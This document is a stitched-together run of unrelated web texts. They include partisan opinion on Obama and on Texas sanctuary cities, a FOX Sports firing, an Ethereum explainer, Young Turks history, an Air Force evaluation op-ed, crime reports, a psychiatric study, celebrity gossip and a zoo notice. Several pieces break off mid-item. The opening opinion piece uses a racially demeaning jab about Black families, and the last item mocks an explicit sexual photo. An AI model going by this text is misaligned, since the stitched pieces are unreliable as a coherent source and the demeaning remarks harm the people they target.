Wow, 'wait till your father gets home kids -- there's gonna be some whoop-ass if you don't straighten it out.' Obama, the Daddy that 73% of the Rachel Jeantel demographic never had, is going after those downright mean white oppressor bullies. The ones who keep putting all the black young males in prison for wearing hoodies and eating skittles. The ones who "paint African-American boys with a broad brush" and who tend to see them as "more violent."
Obama the Marxist never strays too far from the dialectic. We have to put Martin's death in "context." What context Obama doesn't say, but we can assume it's all about slavery and its economic origins. Why else were there communist protesters at the Justice for Trayvon rallies with signs reading Racism is a By-Product of Capitalism?
So -- so folks understand the challenges that exist for African- American boys. But they get frustrated, I think, if they feel that there's no context for it, or -- and that context is being denied. And -- and that all contributes, I think, to a sense that if a white male teen was [sic] involved in the same kind of scenario that, from top to bottom, both the outcome and the aftermath might have been different.
Obama and his dupes, including Martin's father, Tracy, have been repeating the "if Trayvon was [sic] white" talking point ever since the verdict came down. Translation: whites are the privileged class, nobody bothers them. Or in the words of Marx who indeed linked slavery to white capitalist exploiters of blacks: "In fact, the veiled slavery of the wage-laborers in Europe needed the unqualified slavery of the New World as its pedestal. Capital comes dripping from head to toe, from every pore, with blood and dirt "
Obama may be fooling the black community with his "Trayvon Martin could have been me, 35 years ago" but like everything else in the Marxist world, black interests are only a means to an end to capitalism.
While Obama continues to exploit blacks for his own purposes, we can be sure he'll act like the "wise chief ruling over a human kindergarten" telling us what to do and to like it or else.
Read more M. Catharine Evans at Potter Williams ReportGetty Images
These are strange days at FOX Sports.
Just last week, the biggest news in the sports media and business world was that FOX Sports National Networks President Jamie Horowitz had decided to fire the entire writing staff at FOXSports.com, deciding that readers weren’t interested in reading writers’ online content. Instead, under the Horowitz plan, the content at FOXSports.com would come from FOX Sports’ TV talent, with things like radio host Colin Cowherd’s opinions comprising the entirety of the website.
This week the biggest news in the sports media and business world is that Horowitz just got fired.
The reasons for the firing aren’t clear, although an email from FOX Sports President Eric Shanks to members of the staff implies that there were problems with Horowitz not adhering to professional conduct.
“Everyone at FOX Sports, no matter what role we play, or what business, function or show we contribute to — should act with respect and adhere to professional conduct at all times. These values are non-negotiable,” Shanks wrote in his email.
Shanks added that a replacement for Horowitz will be found, but until then, Shanks himself is taking on Horowitz’s duties. It remains to be seen whether the next person in the job will stay the course that Horowitz set out. Either way, it’s apparently too late to save the jobs of the people Horowitz let go last week.Attorneys aligned with the open borders lobby are upset by the Texas-sized ban on sanctuary cities.
Under an historic bill signed by Texas Governor Greg Abbott, sanctuary cities which release criminal illegal immigrants, subsequently ignoring Immigration and Customs Enforcement (ICE) detainers, will see the “stiffest penalties in America,” Abbott told Breitbart Texas in an exclusive interview.
The safety measure to make sure criminal illegal immigrants are deported out of the U.S. has devastated open borders activists with the American Immigration Lawyers Association (AILA).
In a statement, AILA said it “condemns” the sanctuary city ban, citing claims of “profiling of people based on immigration status.”
“The Texas bill is a direct attack on local police and sheriff’s authority to keep their own communities safe: the bill imposes stiff penalties, including jail time and removal from office if a local official refuses to honor a detainer or to participate in federal immigration enforcement,” the news release stated.
AILA President William Stock was equally distraught by the sanctuary ban, tying it to racism without providing any evidence to back up the claim, and also promised it will “lead to court challenges.”
“There is no legal definition of ‘sanctuary city’ and our country’s laws prohibit racial profiling, but neither of those facts swayed Governor Abbott and the Texas legislators who voted for this bill,” Stock said in the statement. “This law will lead to court challenges as the state tries to force localities to act contrary to the Constitution. Making state authorities complicit in warrantless immigration detention through state law will not benefit anyone – immigrants are integral to our communities and requiring state and local police to participate in a ‘deportation force’ will undermine community trust.”
AILA’s cries over the sanctuary city ban echo fellow open border organizations, who are now trying to stop the deportation of even the most violent, illegal immigrants, Breitbart Texas reported.
While there is no way yet to know how many illegal immigrants are sitting in Texas prisons for state and local crimes, the Department of Justice released data last week indicating that more than 41,500 illegal immigrants were in federal prisons, Breitbart Texas reported.
Sanctuary cities remain incredibly unpopular with the American public. As Breitbart Texas reported, approximately 80 percent of American voters oppose sanctuary city policies which refuse to notify federal authorities before releasing an accused illegal immigrant.
John Binder is a reporter for Breitbart Texas. Follow him on Twitter at @JxhnBinder.Money is pretty simple nowadays: A piece of paper or a digital asset that you can exchange for goods and services. Someone else takes care of all the fine print. Some kind of central authority issues the money, calculates its value, and makes sure that that wire transaction you've sent goes to the right recipient.
But money is changing. First there was Bitcoin, a digital currency that takes care of the issuance and payments parts all by itself — by means of technology instead of authority. And then there was Ethereum, which adds another layer over Bitcoin's underlying technology, the blockchain, by letting anyone run complex commands from within the digital coins themselves.
If the concept makes you dizzy, you're not alone. Even figuring out how to correctly operate a Bitcoin wallet can be daunting, and this smart contract stuff sounds either like hardcore sci-fi or incomprehensible babble, depending on how technical you are.
And yet, I strongly suggest you invest some time into learning how smart contracts work. If you don't, in the future you might be too ignorant to understand what's happening with the money you own.
SEE ALSO: These are the most promising cryptocurrencies right now
Here's a non-definition that I like: Ethereum makes your money alive.
You can do a lot of very advanced stuff with regular money. Invest it into the stock market and place an order that sells if the price goes below a certain point. Have it transferred to another person in case you die. Place it in an escrow account and have it transferred to some entity if certain conditions are met.
Ethereum makes your money alive.
But to do every one of those things, you need a different authority, with which you have to confirm your identity and possibly pay a significant sum of money.
With Ethereum, all of that stuff is baked right into the money itself. You can literally purchase some ether (Ethereum's currency) right now, and create a smart contract that does any of those things, and it will stay valid as long as Ethereum exists.
But someone will figure out a way to simplify this, right?
This may sound like that time in the '90s when everyone warned you'll need to learn how to code if you want to be a human in the future. That never happened, except, in a way, it did. You don't have to know how to code to function in the modern life, but life is easier if you can — if only by the simple virtue of never being out of a job.
You don't really have to know how to code to be an adult these days, but it sure as hell doesn't hurt.
Learning how smart contracts work is by no means necessary right now, and if the concept lives up to its promise, in the future there will be people who will handle the fine print instead of you... for a fee. But you will once again be putting trust into someone else's authority, which undermines the very concept of Bitcoin and Ethereum. It's better if you can do it yourself.
Here's something that might hit closer to home. In the past couple of months, a lot of people who knew what smart contracts are and how they work earned money — and you probably didn't. They did it by investing in ICOs, for example, or by building cool new things on the Ethereum platform themselves. There are no guarantees, of course, but those who recognized the potential of this technology early on had a much better chance at succeeding.
And if you tried to invest without the necessary knowledge, you could've easily lost money. A smart contract that might look promising at first could be flawed in many ways, and one that seems boring could be revolutionary. For an example of how tough it can be to determine which Ethereum-based project is promising
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ashas fleeing into exile. Freedom and Accord rule was short lived, however, and the empire soon collapsed.
The term "Young Turk" is now used generally to denote a member of an insurgent group within an organization (often, although not always, a political party) advocating change, sometimes radical change, in that organization.[11]
History [ edit ]
Origins [ edit ]
Inspired by the Young Italy political movement, like other revolutionary societies[which], the Young Turks had their origins in secret societies of "progressive medical university students and military cadets", namely the Young Ottomans, driven underground along with all political dissent after the Constitution of 1876 was abolished and the First Constitutional Era brought to a close by Abdul Hamid II in 1878 after only two years. The Young Turks favored a re-instatement of the Ottoman Parliament and the 1876 constitution, written by the progressive Midhat Pasha.
Congress of Ottoman Opposition [ edit ]
The first congress of the Ottoman opposition (1902) in Paris
The First Congress of Ottoman Opposition was held on 4 February 1902, at 20:00, at the house of Germain Antoin Lefevre-Pontalis,[citation needed] a member of the Institut de France. The opposition was performed in compliance with the French government.[citation needed] Closed to the public, there were 47 delegates present. The Armenians wanted to have the conversations held in French, but other delegates rejected this proposition.[citation needed]
The Second Congress of Ottoman Opposition took place in Paris, France, in 1907. Opposition leaders including Ahmed Rıza, Sabahaddin Bey, and Khachatur Malumian of the Armenian Revolutionary Federation were in attendance. The goal was to unite all the parties, including the Young Turks' Committee of Union and Progress, in order to bring about the revolution.
The Young Turks became a truly organized movement with the Committee of Union and Progress (CUP) as an organizational umbrella. They recruited individuals hoping for the establishment of a constitutional monarchy in the Ottoman Empire. In 1906, the Ottoman Freedom Society (OFS) was established in Thessalonica by Mehmed Talaat. The OFS actively recruited members from the Third Army base, among them Major Ismail Enver. In September 1907, OFS announced they would be working with other organizations under the umbrella of the CUP. In reality, the leadership of the OFS would exert significant control over the CUP.[citation needed]
Young Turk Revolution [ edit ]
Young Turks flyer with the slogan "Long live the fatherland, long live the nation, long live liberty" written in Ottoman Turkish and French.
In 1908, the Macedonian Question was facing the Ottoman Empire. Tsar Nicholas II and Franz Joseph, who were both interested in the Balkans, started implementing policies, beginning in 1897, which brought on the last stages of the balkanization process. By 1903, there were discussions on establishing administrative control by Russian and Austrian advisory boards in the Macedonian provinces. The ruling House of Osman was forced to accept this idea, although for quite a while they were able to subvert its implementation.[citation needed]
However, eventually, signs were showing that this policy game was coming to an end. On May 13, 1908, the leadership of the Committee of Union and Progress, with the newly gained power of its organization, was able to communicate to Sultan Abdul Hamid II the unveiled threat that "the [Ottoman] dynasty would be in danger" if he were not to bring back the Ottoman constitution that he had previously suspended since 1878. On June 12, 1908, the Third Army, which was in Macedonia, began its march towards the Palace in Constantinople. Although initially resistant to the idea of giving up absolute power, Abdul Hamid was forced on July 24, 1908, to restore the constitution, beginning the Second Constitutional Era of the Ottoman Empire.[citation needed]
Second Constitutional Era [ edit ]
The unity among the Young Turks that originated from the Young Turk Revolution began to splinter in face of the realities of the ongoing dissolution of the Ottoman Empire, especially with the onset of the Balkan Wars in 1912.[citation needed]
World War I [ edit ]
On November 2, 1914, the Ottoman Empire entered World War I on the side of the Central Powers. The Middle Eastern theatre of World War I became the scene of action. The combatants were the Ottoman Empire, with some assistance from the other Central Powers, against primarily the British and the Russians among the Allies. Rebuffed elsewhere by the major European powers, the Young Turks, through highly secret diplomatic negotiations, led the Ottoman Empire to ally itself with Germany. The Young Turks needed to modernize the Empire’s communications and transportation networks without putting themselves in the hands of European bankers. Europeans already owned much of the country’s railroad system,[citation needed] and since 1881, the administration of the defaulted Ottoman foreign debt had been in European hands. During the War, the Young Turk empire was "virtually an economic colony on the verge of total collapse."
At the end of the War, with the collapse of Bulgaria and Germany's capitulation, Talaat Pasha and the CUP ministry resigned on October 13, 1918, and the Armistice of Mudros was signed aboard a British battleship in the Aegean Sea.[14] On November 2, Enver, Talaat and Djemal, along with their German allies, fled from Istanbul into exile.[citation needed]
1915–1918: Armenian Genocide [ edit ]
The Armenian Genocide was the Young Turk government's systematic extermination of its Armenian subjects. An estimated 1.5 million people were killed.
The conflicts at the Caucasus Campaign, the Persian Campaign, and the Gallipoli Campaign affected places where Armenians lived in significant numbers. Before the declaration of war at the Armenian congress at Erzurum, the Ottoman government asked Ottoman Armenians to facilitate the conquest of Transcaucasia by inciting a rebellion among the Russian Armenians against the tsarist army in the event of a Caucasian Front.
Jakob Künzler, head of a missionary hospital in Urfa, documented the large scale ethnic cleansing of both Armenians and Kurds under the Three Pashas during World War I. He gave a detailed account of deportation of Armenians from Erzurum and Bitlis in the winter of 1916. The Armenians were perceived to be subversive elements (a fifth column) that would take the Russian side in the war. In order to eliminate this threat, the Ottoman government embarked on a large scale deportation of Armenians from the regions of Djabachdjur, Palu, Musch, Erzurum, and Bitlis. Around 300,000 Armenians were forced to move southwards to Urfa and then westwards to Aintab and Marash. In the summer of 1917, Armenians were moved to the Konya region in central Anatolia. Through these measures, the CUP leaders aimed to eliminate the Armenian threat by deporting them from their ancestral lands and by dispersing them in small pockets of exiled communities. By the end of World War I, up to 1,200,000 Armenians were forcibly deported from their home vilayets. As a result, about half of the displaced died of exposure, hunger, and disease, or were victims of banditry and forced labor.
Around this period, the CUP's relationship to the Armenian Genocide shifted. Early on, Armenians had perceived the CUP as allies;[citation needed] and the beginnings of the Genocide, in the 1909 Adana massacre, had been rooted in reactionary Ottoman backlash against the Young Turks. But during World War I, the CUP’s increasing nationalism began to lead them to participate in the genocide. In 2005, the International Association of Genocide Scholars affirmed that scholarly evidence revealed the CUP "government of the Ottoman Empire began a systematic genocide of its Armenian citizens and unarmed Christian minority population. More than a million Armenians were exterminated through direct killing, starvation, torture, and forced death marches."
Ideology [ edit ]
Materialism and positivism [ edit ]
Another guiding principle for the Young Turks was the transformation of their society into one in which religion played no consequential role, a stark contrast from the theocracy that had ruled the Ottoman Empire since its inception. However, the Young Turks soon recognized the difficulty of spreading this idea among the deeply religious Ottoman peasantry and even much of the elite, as the Ottoman Empire had not experienced the Enlightenment in the same way that Western Europe had. The Young Turks thus began suggesting that Islam itself was materialistic. As compared with later efforts by Muslim intellectuals, such as the attempt to reconcile Islam and socialism, this was an extremely difficult endeavor. Although some former members of the CUP continued to make efforts in this field after the revolution of 1908, they were severely denounced by the Ulema, who accused them of "trying to change Islam into another form and create a new religion while calling it Islam".[page needed]
Positivism, with its claim of being a religion of science, deeply impressed the Young Turks, who believed it could be more easily reconciled with Islam than could popular materialistic theories. The name of the society, Committee of Union and Progress, is believed to be inspired by leading positivist Auguste Comte's motto Order and Progress. Positivism also served as a base for the desired strong government.
Centralized government [ edit ]
After the Committee of Union and Progress grabbed power in the 1913 coup, it embarked on a series of reforms in order to increase centralization in the Empire, an effort that had been ongoing since the last century’s Tanzimat reforms under sultan Mahmud II.[19] Many of the original Young Turks rejected this idea, especially those that had formed the Freedom and Accord Party against the CUP.[6] Other opposition parties against the CUP like Prince Sabahaddin’s Private Enterprise and Decentralization Association [tr] and the Arab Ottoman Party for Administrative Decentralization, both of which made opposition to the CUP’s centralization their main agenda.
Nationalism [ edit ]
In regards to nationalism, the Young Turks underwent a gradual transformation. Beginning with the Tanzimat with ethnically non-Turkish members participating at the outset, the Young Turks embraced the official state ideology: Ottomanism. However, Ottoman patriotism failed to strike root during the First Constitutional Era and the following years. Many ethnically non-Turkish Ottoman intellectuals rejected the idea because of its exclusive use of Turkish symbols. Turkish nationalists gradually gained the upper hand in politics, and following the 1902 Congress, a stronger focus on nationalism developed. It was at this time that Ahmed Rıza chose to replace the term "Ottoman" with "Turk," shifting the focus from Ottoman nationalism to Turkish nationalism.[citation needed]
Prominent Young Turks [ edit ]
The prominent leaders and ideologists included:
Aftermath and legacy [ edit ]
The founder of modern Turkey, Mustafa Kemal Atatürk, is quoted on the front page of the 1 August 1926 The Los Angeles Examiner as denouncing the Young Turks and especially the CUP (the "Young Turk Party")[21]:
These left-overs from the former Young Turk Party, who should have been made to account for the millions of our Christian subjects who were ruthlessly driven en masse from their homes and massacred, have been restive under the Republican rule. […] They have hitherto lived on plunder, robbery and bribery and become inimical to any idea, or suggestion to enlist in useful labor and earn their living by the honest sweat of their brow… Under the cloak of the opposition party, this element, who forced our country into the Great War against the will of the people, who caused the shedding of rivers of blood of the Turkish youth to satisfy the criminal ambition of Enver Pasha, has, in a cowardly fashion, intrigued against my life, as well as the lives of the members of my cabinet.[citation needed]
As to the fate of the Three Pashas, two of them, Talaat Pasha and Djemal Pasha, were assassinated by Armenian nationals shortly after the end of World War I while in exile in Europe during Operation Nemesis, a revenge operation against perpetrators of the Armenian Genocide. Soghomon Tehlirian, whose family was killed in the Armenian Genocide, assassinated the exiled Talaat Pasha in Berlin and was subsequently acquitted by a German jury. Djemal Pasha was similarly killed by Stepan Dzaghikian, Bedros Der Boghosian, and Ardashes Kevorkian for "crimes against humanity" in Tbilisi, Georgia. The third pasha, Enver Pasha, was killed in fighting against the Red Army unit under the command of Hakob Melkumian near Baldzhuan in Tajikistan (then Turkistan).
References [ edit ]
Notes [ edit ]
Bibliography [ edit ]
Akçam, Taner (2006), A Shameful Act: The Armenian Genocide and the Question of Turkish Responsibility.
. Balakian, Peter (2003), The Burning Tigris: the Armenian Genocide and America’s response.
. Demonian, Hripsimé (1996), The Sick Men of Europe, Gyumri State Pedagogical Institute.
. Fisk, R, The Great War for Civilisation: The Conquest of the Middle East, Vintage, ISBN 978-1-4000-7517-1.
. Hanioğlu, M. Şükrü, The Political Ideas of the Young Turks.
. ——— (1995), The Young Turks in Opposition, Oxford University Press, ISBN 0-19-509115-9.
. International Association of Genocide Scholars (June 13, 2005). "Letter to Prime Minister Erdogan". Genocide Watch. Archived from the original on June 4, 2007.
Schaller, Dominik J; Zimmerer, Jürgen (March 2008), "Late Ottoman genocides: the dissolution of the Ottoman Empire and Young Turkish population and extermination policies—introduction", Journal of Genocide Research, 10 (1): 7–14, doi:10.1080/14623520801950820.Chief Master Sergeant of the Air Force (CMSAF) James Cody, apparently in coordination with former CMSAFs but absent meaningful interaction on the subject with currently serving airmen, is working hard to overhaul the Enlisted Evaluation System (EES). The new program and process he’s championing are long overdue, and one of the most important policy adjustments to hit the Air Force in a generation.
Unfortunately, unless the rollout of this drastically altered system is improved, his good intentions will be little more than pavement on a road to ruin. The reasons are as predictable as they are frustrating: poor communication, a general lack of trust, too little faith in the chain of command, undue secrecy, and low expectations.
The key to success for the new EES is to get it out of the staff and into the hands of the NCOs who, as the spine of the Air Force, will shepherd its implementation. That’s not happening, and the result is a divergence of activity that has the new system stumbling out of the gate and threatening to collapse before it can gallop.
Cody and his Air Staff minions have steadfastly refused to share the details of the new EES openly. Airmen in the field are in the dark unless they’re lucky enough to attend one of the service’s roadshows, which typically accommodate 10-20% of a base population while leaving everyone else to hear the details verbally since no recordings, copies, photos, or other methods of sharing are allowed.
Despite the fact the EES is not only unclassified, but a foundational process at the heart of daily service life, even cellphones are inexplicably prohibited from roadshow briefings. Video streaming to geographically separated units has also been disallowed, leaving those airmen uninformed. Cody has promised that slides from the roadshows will be posted only after completion of the ongoing, multi-million-dollar travelganza two months from now.
Yes, you’re getting it accurately: the world’s most technologically advanced military service is forsaking electronic communication in rolling out the details of arguably its most basic human resource process, choosing instead to serially brief tiny cohorts of airmen face-to-face using — unbelievably — a script. This raises the question of whether something complex enough to need a script is simple enough to accurately and dependably capture the performance of a quarter million airmen.
Cody says this approach is so airmen can ask questions. But for the few airmen lucky enough to hear about a local brief and have the ability to attend, questions have been off-limits. Turns out, the scripted brief is rather lengthy and exhaustive. By the time briefers finish their authorized recitations, it’s time to roll up the circus and move on to the next stop.
Why choose this method, if not to genuinely invite questions?
Control. This approach is about controlling information to prevent critical input and to discourage questions. The Air Staff’s anointed elders, including several retired CMSAFs, have spoken. The task now is to feed their chosen policy to the field, giving no one any real chance to push back.
But as often happens when such illusory levels of information control are attempted, the tactic is failing. We’re in an age of information addiction. In the absence of official guidance, some will seek alternative sources while others will busily supply those sought alternatives. As the field waits for the EES to be explained, local managers at bases still left in the dark are concocting their own interpretations of the new system, and seeking – in some cases miguidedly – to get their airmen ahead of the curve.
Take, for instance, this handy careerist’s guide for thriving in the new EES, obtained from a source at Ramstein:
This monstrosity is riddled with all manner of problems.
It’s literally a square-checking system, and an engine for careerist preening and sycophancy. People subjected to it will instantly default to filling every square and earning the sought after prize rather than focusing on performance and letting the rewards come.
It considers historical years of performance in arriving at current performance ratings, going so far as to judge someone’s current and future organizational prospects according to the medals they did or didn’t receive in pervious assignments. Lost on the author is that there’s no rule entitling everyone is an end-of-tour medal, and the absence of a medal should not, standing alone, be considered a detractor
Fitness scores, awards, and off-duty professional memberships are given equal weight with performance. The key to an outstanding rating: inflated prior performance reports combined with tons of non-duty-related stuff that may or may not make someone more suited to senior enlisted duties. Oh, and if you received a referral report at any point in the past, it still counts against you.
But beyond the particulars lies the most distressing part of this form: the entire thought process that gives rise to it.
For decades, the Air Force cultivated a vibrant professional code that recognized and rewarded performance, giving supervisors and their subordinates distinct roles in the evaluation and development process. An individual’s role was to do his or her job as competently as possible, act on the mentorship and development cues provided by supervisors, and let the supervisory system take care of ratings. That and studying for promotion used to be enough for most people to maximize their potential.
Today’s Air Force is abandoning that tradition. Airmen are expected to self-manage their careers. Failed leadership is the root cause. Poor supervisors encourage careerist behaviors among troops and poor leaders, through neglect or ineptitude, fail to correct the situation. Airmen don’t get the right mentorship and development cues from their supervisors, so they resort to self-concern, which is contradictory to the placement of service before self and develops them into self-absorbed supervisors and leaders who got to where they are by looking out for Number One. Few things could be worse in a team-based organization.
Chief Cody seems to understand this. His rhetoric has been focused on making performance the coin of the Air Force realm again. But his inability or unwillingness to place the EES into the hands of NCOs, expecting them to effectively execute it, is a recipe for more self-imposed mediocrity. The less trust he places in his NCOs, the more they fill the resulting void with the harebrained ideas they’ve been raised to embrace under the current, deeply flawed system Cody is trying to replace.
Proof, once again, of a lesson as old as leadership itself. Raise the bar of expectations, and people will find a way to vault over it. Lower the bar, and they will find a way to squeeze underneath.Texas Longhorns freshman wide receiver DeAndre McNeal hasn't been a big part of the offense this season, but if his one-handed catch in practice is any indication, that could change soon:
The 6'1, 236-pounder has one carry for nine yards this season, but is yet to make his first catch as a Longhorn, despite the promise from a member of the coaching staff that he would receive the first touch against Notre Dame in the opener if he committed. And though McNeal missed the Iowa State game due to a football injury, it looks like he's healthy once again.
With play caller Jay Norvell promising to play more young players after expressing frustration with the blocking effort and senior leadership of his players, McNeal could see more reps against Kansas. If the Longhorns are able to jump out to an early lead, it would be even easier for Norvell to justify playing more of the freshmen and sophomores.
McNeal was a consensus four-star prospect out of high school who was considered the nation's No. 20 athlete by the 247Sports Composite rankings. His pledge to Texas last December with Mesquite Poteet teammate Malik Jefferson helped set the stage for the impressive finish to the 2015 recruiting class.The Liberal Democrats staged their own "alternative budget" in the House of Commons. Unlike yesterday's budget, which will be voted for by both coalition parties and become government policy, the Liberal Democrat budget is intended to put clear yellow water between the coalition's junior partner and the Conservatives. But the proceedings quickly turned into a farce.
For a start, most of the Liberal Democrats were elsewhere - just six backbenchers were present when Alexander started speaking - and two of the party's Secretaries of State didn't take the time to attend. Most damningly of all, one very prominent Liberal Democrat couldn't be bothered to stick it out until the end:
Clegg was waved out by gleeful Labour MPs, with Chris Leslie describing the occasion as his final appearance in the Commons.When it comes to choosing a mate for life, a healthy state of mind is a quality not to be overlooked, according to a team of researchers from the Karolinska Institutet in Stockholm. Their study, published in JAMA Psychiatry, reveals that people who suffer from a mental disorder are more likely to mate with others with mental health disorders and produce children likely to have similar issues.
For the study, researchers collected medical information from roughly 700,000 people who were admitted to hospitals in Sweden between 1973 and 2009. Within the patient population, more than 70,000 people were diagnosed with schizophrenia, 10 with other major psychiatric disorders, and the rest had a chronic illness like diabetes or multiple sclerosis.
Next, they examined data from marital records to look at partnership patterns, and found a distinct and consistent mating sequence emerge. Those with mental disorders were more likely to marry and have children with people with either the same illness or a different psychiatric disorder. Researchers compared the marital patterns to those with chronic illnesses and physical disorders, and found that they did not gravitate toward one another in the same manner. This led researchers to believe that marriage to people who have mental disorders seems to be a contributing factor that’s keeping certain mental illnesses alive.
“Taken together, these results suggest that individuals with psychiatric diagnoses are mating — to a degree greater than would be expected by chance — with other diagnosed individuals,” said the study’s lead author Ashley E. Nordsletten, a psychologist and postdoctoral research fellow at the Karolinska Institutet. “Our results only raise questions to be answered, and answering them will represent the first real steps towards identifying and targeting any risk.”
Nordsletten and her colleagues came to the conclusion that people with severe psychiatric disorders tend to mate with each other, however, they don't know why. They believe it may be because those suffering from mental illness often have a difficult time forming and maintaining social relationships with people. It may also be plausible that people who aren’t suffering from mental illness are less willing to date and marry those with psychiatric disorders.
According to Dr. Matthew Lorber, a director of child and adolescent psychiatry at Lenox Hill Hospital, who was not involved in the study, said the results are as relevant to evaluating childhood psychiatric disorders as they are to investigating disorders among married adults.“[The findings are] very important to consider when doing future genetic research and when thinking about the higher incidence of psychiatric illness running in families.”
If two people both suffer from mental illness, the likelihood their child will also have a mental illness goes up. According to the National Institute of Mental Health, schizophrenia and bipolar disorder tend to run in families because there is a genetic root involved. While certain genes may increase the risk of developing a mental illness, sometimes it takes an environmental situation to trigger the onset, such as a traumatic event. However, geneticists haven’t been able to identify the exact marker that can predict whether or not a parent or a child will develop a mental illness.
The study’s authors conclude: “It means that the person closest to an individual with a psychiatric disorder is also likely to have psychiatric problems, which could exacerbate problems for both spouses and their offspring.”
Source: Plomin R, Krapohl E, and O’Reilly PF. Assortative Mating—A Missing Piece in the Jigsaw of Psychiatric Genetics. JAMA Psychiatry. 2016.James Johnson / The Newnan Times-Herald Meriwether County Sheriff Chuck Smith speaks with Kenneth Dow on Friday afternoon. Kenneth's mother, Dot, was the victim of a violent home invasion on Thursday night.
An elderly woman is fighting for her life after a violent home-invasion robbery.
Dorothy Dow, 83, was airlifted to Grady Hospital late Thursday night after sustaining third-degree burns and several broken bones. The incident occurred around 11 p.m. on 7745 Forest Rd. in the Lone Oak community in Grantville.
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Dow told deputies she was asleep in her bed when four black males and one black female forced their way through her backdoor and roused her from her sleep.
When one suspect demanded money, she was pistol whipped in the face after telling her attackers she didn’t have any. Then one suspect poured a flammable liquid on Dow and set her on fire.
During the assault, she sustained third-degree burns to her head and lower back, lacerations to her face, two broken arms, along with all the fingers on one hand, according to Sheriff Chuck Smith of the Meriwether County Sheriff’s Office.
After the suspects fled the home without taking anything, Dow told authorities she crawled along the floor for almost an hour searching for her phone. When responders arrived to her home, Dow was able to provide investigators with the details of the attack before being airlifted to Grady Hospital.
She is listed in critical condition, according to Smith.
With the help of a K9 unit, investigators were able to recover valuable evidence and track to a location where suspects may have access to property. Members of the Georgia Bureau of Investigation, the Meriwether County Narcotics Division, and the Coweta County Sheriff’s Office are assisting in the investigation.
The attack wasn't a random act of violence, according to Smith, who wants all members of the Lone Oak community to feel secure.
“We believe these suspects were looking for someone specifically,” he said. “When that person wasn’t there, the suspects attacked her."
According to Smith, Dow’s property is used for growing blueberries. Investigators believe the suspects may have been laborers who worked during the most recent harvest.
“We have a person of interest that lives outside the community, and we’re aggressively attempting to locate him,” Smith said. “I want our seniors to know we’re diligently pursuing those involved in of this horrific incident."
Smith praised the courage of Dow for providing investigators with so much information after sustaining such life-threatening injuries.
“It sickens me to see individuals do something like this to a senior citizen, and I’m driven to catch these people,” he said.
The Dow family asked that anyone with information come forward and report what they know to the Meriwether County Sheriff's Office or the Georgia Bureau of Investigation.
Mrs. Dow is a patient in the burn unit at Grady Memorial Hospital in Atlanta, and her family asks for prayers during what will be a long recovery. She was able to visit with relatives at the hospital and underwent surgery on Friday.
Dot Dow and her husband, William David Dow, came to Meriwether County from Elberton more than 50 years ago. The family has a farm, where they have grown and sold blueberries, strawberries and tomatoes. Jelly made from the fruit has also been sold.
The Dows have been active in the community, and Mrs. Dow is a member of Allen-Lee Memorial United Methodist Church in Lone Oak. Her husband, a U.S. Navy veteran, died in 1996 and is buried at Allen-Lee.
****
Clay Neely: [email protected], @clayneelyA 15-year-old boy is fighting for his life after being attacked with a metal pole in Melbourne. Courtesy: Channel Nine News/TODAY Show
A 15-YEAR-OLD boy is in hospital with life-threatening injuries after being struck in the head with a metal pole in Melbourne’s southeast overnight.
A group of males arrived outside a Cranbourne North home at about 12.25am on Thursday and two boys, aged 15, went outside to confront them, police said.
During the confrontation, one of the boys was struck in the head with a metal pole before the group fled the scene.
The Frankston teenager suffered life-threatening head injuries and was taken to hospital in a critical condition.
Neighbours told the Herald Sun groups of young people often run through the streets from the nearby train station and “cause trouble”.
“We have so much trouble in this street it’s ridiculous,” Ms Stewart told the paper.
“They bang on the fences, they graffiti the fences and litter everywhere... beer bottles — I’ve even found needles.
Anyone with information is urged to contact Crime Stoppers on 1800 333 000.Rihanna: JR Smith slumping because he’s hungover from partying in clubs
J.R. Smith has been shooting the ball terribly during the playoffs, and Rihanna says that’s because the New York Knicks guard is hungover from partying in clubs every night.
Smith shot the ball well in Games 2 and 3 of the Knicks-Boston Celtics series, which the Knicks won in six games. He went 13-of-27 (48 percent) including 4-9 (44 percent) on 3-pointers those two games. But after being suspended for Game 4 of the series for his elbow to Jason Terry in Game 3, Smith began shooting terribly.
Smith has shot an abysmal 28.6 percent from the field since Game 5 against the Celtics. No surprise, New York has struggled accordingly and only gone 2-4 in those playoff games. Now Rihanna has an explanation for his struggles.
Smith and Rihanna were rumored to have been dating last year. The gossip about them picked up again last week after they were pictured partying at the same club. Rihanna also confirmed she broke up with Chris Brown.
The singer posted a photo to her popular Instagram account on Thursday and must have received a comment from a Knicks fan who goes by @peruvian_gawd on Instagram. She responded to him with the message below where she says Smith is screwing up because he’s hungover from partying at clubs every night:
What’s funny is that less than two weeks ago Smith admonished those who criticized him for allegedly partying the night before Game 2 of the Eastern Conference semifinals. After the Knicks won Game 2 to tie their series with the Pacers, Smith was pictured nearby Rihanna at a club:
Rihanna & JR Smith (he doesn’t look sober) celebrating in NY’s Greenhouse club after Knicks’ win vs the Pacers. twitter.com/SportandoBaske… — Emiliano Carchia (@SportandoBasket) May 8, 2013
So not only does Rihanna say the two are not dating, she is also blaming Smith’s partying on his struggles. You may recall that Smith admitted in November that he partied too much last season and that he wasn’t focused. Is the same pattern repeating itself?
H/T Jocks and Stiletto JillPHILADELPHIA (CBS) – The Philadelphia Zoo says it will again offer its popular “Summer Break Teacher Pass” to certified/licensed pre-K to 12th grade classroom teachers, principals and assistant principals who work in public, private and charter schools.
The pass is valid for an individual single admission, Mondays through Fridays, from June 15 to August 31, 2016.
Teachers can use the pass to visit the Zoo multiple times during this period.
Registration opens Monday, March 14 on the Zoo’s website at http://www.philadelphiazoo.org/Learn/schoolvisits/Teacher-Resources.htm.
The Zoo says each teacher must complete his or her own application and create their own account using their email address to print their Teacher Pass.
Teachers must register online for one individual pass and must bring BOTH a valid pass and their teacher ID, union card or school district pay stub each time they visit the Zoo.
For more information, visit: www.philadelphiazoo.org.The thirst for selfie fame has spiraled out of control and has brought shame to the human race as Caitlyn Thompson snapped a rather enthusiastic selfie in the doggie style position with her naked partner who’s working hard on completing his business back there.
The caption Thompson chose was the widely celebrated lyric “But first, let me take a selfie” from The Chainsmokers’ song “#SELFIE” along with #dontjudge. “Don’t judge me because I already know I’m an idiot who is feeding into the degeneracy of being a decent lady in society and a respected human being”? Is that what you meant, Ms. Thompson?
Twitter users have doused timelines with Thompson’s picture, captioning it with statements such as “smh” and “This is why I don’t go on Instagram anymore.”
